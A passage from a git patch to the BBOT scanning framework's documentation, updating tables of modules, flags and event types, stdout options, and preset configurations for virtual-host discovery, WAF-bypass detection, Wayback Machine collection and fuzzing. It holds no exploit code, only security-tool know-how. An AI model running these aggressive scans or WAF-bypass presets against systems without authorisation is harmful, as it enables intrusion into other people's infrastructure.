2 | 1 | portscan, speculate | dnsresolve | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | +| URL | 25 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VIRTUAL_HOST | 0 | 1 | | virtualhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | [Next Up: Output -->](./output.md){ .md-button .md-button--primary } diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 7cff759b8c..8fcc3870f4 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -187,35 +187,35 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 99 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 51 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | -| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, wafw00f, webbrute, webbrute_shortnames, wpscan | -| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | -| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | -| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| web-heavy | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, webbrute_shortnames | -| slow | 10 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | http, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 100 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, http, hunt, hunterio, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, pgp, portfilter, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, sslcert, subdomaincenter, subdomainradar, subdomains, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, waf_bypass, wayback | +| passive | 68 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_enterprise, shodan_idb, skymem, social, speculate, subdomaincenter, subdomainradar, trajan, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, http, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, sslcert, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, webbrute, webbrute_shortnames | +| subdomain-enum | 47 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, http, hunterio, ipneighbor, leakix, myssl, oauth, otx, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| loud | 21 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, host_header, iis_shortnames, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, telerik, url_manipulation, virtualhost, wafw00f, webbrute, webbrute_shortnames | +| code-enum | 19 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trajan, trufflehog | +| cloud-enum | 16 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, dnsbimi, dnstlsrpt, http, oauth, securitytxt | +| web | 16 | Non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, http, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| web-heavy | 16 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bucket_hetzner, bypass403, dotnetnuke, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, telerik, url_manipulation, waf_bypass, webbrute_shortnames | +| slow | 11 | May take a long time to complete | bucket_digitalocean, bucket_hetzner, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, virtualhost | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| invasive | 7 | Intrusive or potentially destructive | dotnetnuke, generic_ssrf, legba, lightfuzz, medusa, nuclei, telerik | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | iis_shortnames, webbrute_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | http, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies -BBOT modules have external dependencies ranging from OS packages (`openssl`) to binaries (`nuclei`) to Python libraries (`wappalyzer`). When a module is enabled, installation of its dependencies happens at runtime with [Ansible](https://github.com/ansible/ansible). BBOT provides several command-line flags to control how dependencies are installed. +BBOT modules have external dependencies ranging from OS packages (`openssl`) to binaries (`nuclei`) to Python libraries (`pyOpenSSL`). When a module is enabled, installation of its dependencies happens at runtime with [Ansible](https://github.com/ansible/ansible). BBOT provides several command-line flags to control how dependencies are installed. - `--no-deps` - Don't install module dependencies - `--force-deps` - Force install all module dependencies diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 91c8a9561b..8715698ed3 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -46,13 +46,13 @@ exclude_output_modules: The `stdout` output module is what you see when you execute BBOT in the terminal. By default it looks the same as the [`txt`](#txt) module, but it has options you can customize. You can filter by event type, choose the data format (`text`, `json`), and which fields you want to see: -| Config Option | Type | Description | Default | -|------------------------------|--------|--------------------------------------------------|-----------| -| modules.stdout.accept_dupes | bool | Whether to show duplicate events, default True | True | -| modules.stdout.event_fields | list | Which event fields to display | [] | -| modules.stdout.event_types | list | Which events to display, default all event types | [] | -| modules.stdout.format | str | Which text format to display, choices: text,json | text | -| modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | +| Config Option | Type | Description | Default | +|------------------------------|-------------------------|--------------------------------------------------|-----------| +| modules.stdout.accept_dupes | bool | Whether to show duplicate events, default True | True | +| modules.stdout.event_fields | list | Which event fields to display | [] | +| modules.stdout.event_types | list | Which events to display, default all event types | [] | +| modules.stdout.format | Literal['text', 'json'] | Which text format to display, choices: text,json | text | +| modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | ### TXT diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 1edd6fa6e2..419a99a808 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -116,6 +116,7 @@ Recursive web directory brute-force (aggressive) # we exploit the shortnames vulnerability to produce URL_HINTs which are consumed by webbrute_shortnames detect_only: False webbrute: + avoid_wafs: False max_depth: 3 lines: 5000 extensions: @@ -282,7 +283,7 @@ Everything everywhere all at once ??? note "`kitchen-sink.yml`" ```yaml title="~/.bbot/presets/kitchen-sink.yml" description: Everything everywhere all at once - + include: - subdomain-enum - cloud-enum @@ -294,7 +295,7 @@ Everything everywhere all at once - dirbust-light - web-screenshots - baddns-heavy - + config: modules: baddns: @@ -303,6 +304,8 @@ Everything everywhere all at once recursive_mutations: true dnscommonsrv: recursive_mutations: true + webbrute: + avoid_wafs: False wayback: urls: True parameters: True @@ -353,11 +356,11 @@ Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force paramet flags: - web-paramminer - + modules: - robots - wayback - + config: modules: lightfuzz: @@ -788,25 +791,121 @@ Detect technologies via Nuclei, and FingerprintX Modules: [0]("") -## **test** +## **virtualhost** -Detect technologies via Nuclei, and FingerprintX +Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI. -??? note "`test.yml`" - ```yaml title="~/.bbot/presets/test.yml" - description: Detect technologies via Nuclei, and FingerprintX +??? note "`virtualhost.yml`" + ```yaml title="~/.bbot/presets/web/virtualhost.yml" + description: "Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI." modules: - - nuclei - - fingerprintx + - virtualhost + ``` + +Category: web + +Modules: [0]("") + +## **virtualhost-heavy** + +Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing. + +??? note "`virtualhost-heavy.yml`" + ```yaml title="~/.bbot/presets/web/virtualhost-heavy.yml" + description: "Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing." - target: - - tesasdft.txt + include: + - virtualhost config: modules: - nuclei: - tags: tech + virtualhost: + special_hosts: True + certificate_sans: True + wordcloud_check: True + ``` + +Category: web + +Modules: [0]("") + +## **waf-bypass** + +WAF bypass detection with subdomain enumeration + +??? note "`waf-bypass.yml`" + ```yaml title="~/.bbot/presets/waf-bypass.yml" + description: WAF bypass detection with subdomain enumeration + + flags: + # enable subdomain enumeration to find potential bypass targets + - subdomain-enum + + modules: + # explicitly enable the waf_bypass module for detection + - waf_bypass + # ensure http is enabled for web probing + - http + + config: + # waf_bypass module configuration + modules: + waf_bypass: + similarity_threshold: 0.90 + search_ip_neighbors: true + neighbor_cidr: 24 + ``` + + + +Modules: [0]("") + +## **wayback** + +Discover URLs and interesting archived files via the Wayback Machine + +??? note "`wayback.yml`" + ```yaml title="~/.bbot/presets/wayback.yml" + description: Discover URLs and interesting archived files via the Wayback Machine + + include: + - subdomain-enum + + modules: + - wayback + + config: + modules: + wayback: + urls: True + ``` + + + +Modules: [0]("") + +## **wayback-heavy** + +Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection + +??? note "`wayback-heavy.yml`" + ```yaml title="~/.bbot/presets/wayback-heavy.yml" + description: Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection + + include: + - subdomain-enum + + modules: + - wayback + - badsecrets + + config: + modules: + wayback: + urls: True + parameters: True + archive: True ``` @@ -876,78 +975,7 @@ Take screenshots of webpages -Modules: [3]("`gowitness`, `httpx`, `social`") - -## **web-thorough** - -Aggressive web scan - -??? note "`web-thorough.yml`" - ```yaml title="~/.bbot/presets/web-thorough.yml" - description: Aggressive web scan - - include: - # include the web-basic preset - - web-basic - - flags: - - web-thorough - ``` - - - -Modules: [32]("`ajaxpro`, `aspnet_bin_exposure`, `azure_realm`, `baddns`, `badsecrets`, `bucket_amazon`, `bucket_digitalocean`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bypass403`, `dotnetnuke`, `ffuf_shortnames`, `filedownload`, `generic_ssrf`, `git`, `graphql_introspection`, `host_header`, `httpx`, `hunt`, `iis_shortnames`, `lightfuzz`, `ntlm`, `oauth`, `reflected_parameters`, `retirejs`, `robots`, `securitytxt`, `smuggler`, `sslcert`, `telerik`, `url_manipulation`") - -## **wayback** - -Discover URLs and interesting archived files via the Wayback Machine - -??? note "`wayback.yml`" - ```yaml title="~/.bbot/presets/wayback.yml" - description: Discover URLs and interesting archived files via the Wayback Machine - - include: - - subdomain-enum - - modules: - - wayback - - config: - modules: - wayback: - urls: True - ``` - - - -Modules: [52]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt`, `crt_db`, `digitorus`, `dnsbimi`, `dnsbrute`, `dnsbrute_mutations`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman`, `postman_download`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`, `httpx`") - -## **wayback-heavy** - -Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection - -??? note "`wayback-heavy.yml`" - ```yaml title="~/.bbot/presets/wayback-heavy.yml" - description: Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection - - include: - - subdomain-enum - - modules: - - wayback - - badsecrets - - config: - modules: - wayback: - urls: True - parameters: True - archive: True - ``` - - - -Modules: [53]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `badsecrets`, `bevigil`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt`, `crt_db`, `digitorus`, `dnsbimi`, `dnsbrute`, `dnsbrute_mutations`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman`, `postman_download`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`, `httpx`") +Modules: [0]("") ## Table of Default Presets @@ -969,9 +997,9 @@ Here is a the same data, but in a table: | iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | | kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | | lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 6 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters | -| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | | lightfuzz-light | web | Minimal fuzzing: only path traversal, SQLi, and XSS submodules. No POST requests. No companion modules. Safest option for running alongside larger scans with minimal overhead. | 3 | http, lightfuzz, portfilter | -| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 7 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots | +| lightfuzz-max | web | Maximum fuzzing: everything in lightfuzz-heavy, plus the heavy paramminer variant (1-3 letter brute-force on GET params, case mutation on case-sensitive backends, recycle_words on all paramminer modules), WAF targets are no longer skipped, each unique parameter-value pair is fuzzed individually (no collapsing), common headers like X-Forwarded-For are fuzzed even if not observed, and potential parameters are speculated from JSON/XML response bodies. Significantly increases scan time. | 8 | badsecrets, http, hunt, lightfuzz, portfilter, reflected_parameters, robots, wayback | | lightfuzz-xss | web | XSS-only: enables only the xss submodule with paramminer_getparams and reflected_parameters. POST disabled, no query string collapsing. Example of a focused single-submodule preset. | 5 | http, lightfuzz, paramminer_getparams, portfilter, reflected_parameters | | nuclei | nuclei | Run nuclei scans against all discovered targets | 3 | http, nuclei, portfilter | | nuclei-budget | nuclei | Run nuclei scans against all discovered targets, using budget mode to look for low hanging fruit with greatly reduced number of requests | 3 | http, nuclei, portfilter | @@ -983,9 +1011,11 @@ Here is a the same data, but in a table: | spider-heavy | | Recursive web spider with more aggressive settings | 1 | http | | subdomain-enum | | Enumerate subdomains via APIs, brute-force | 0 | | | tech-detect | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| test | | Detect technologies via Nuclei, and FingerprintX | 2 | fingerprintx, nuclei | -| wayback | | Discover URLs and interesting archived files via the Wayback Machine | 52 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | -| wayback-heavy | | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection | 53 | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, badsecrets, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, social, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, virustotal, wayback | +| virtualhost | web | Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI. | 1 | virtualhost | +| virtualhost-heavy | web | Aggressive virtual host discovery: everything in virtualhost, plus special-host probing, certificate SAN extraction, and wordcloud-driven candidate testing. | 1 | virtualhost | +| waf-bypass | | WAF bypass detection with subdomain enumeration | 2 | http, waf_bypass | +| wayback | | Discover URLs and interesting archived files via the Wayback Machine | 1 | wayback | +| wayback-heavy | | Full Wayback Machine integration - URL discovery, parameter extraction, archived page retrieval, and interesting file detection | 2 | badsecrets, wayback | | web | | Quick web scan | 0 | | | web-heavy | | Aggressive web scan | 0 | | | web-screenshots | | Take screenshots of webpages | 0 | | From b909889cb10d022fbdf629458ffe72bd10af09e4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 18:25:16 -0400 Subject: [PATCH 906/912] Fix stale 2.x references in prose docs Drop removed VULNERABILITY event type, --allow-deadly flag, and httpx module reference; rename nuclei-intense/lightfuzz-superheavy presets to nuclei-heavy/lightfuzz-max; INFORMATIONAL severity to INFO; wappalyzer dep example to pyOpenSSL. --- AGENTS.md | 2 +- docs/modules/lightfuzz.md | 8 ++++---- docs/modules/wayback.md | 12 ++++++------ docs/scanning/tips_and_tricks.md | 2 +- 4 files changed, 12 insertions(+), 12 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 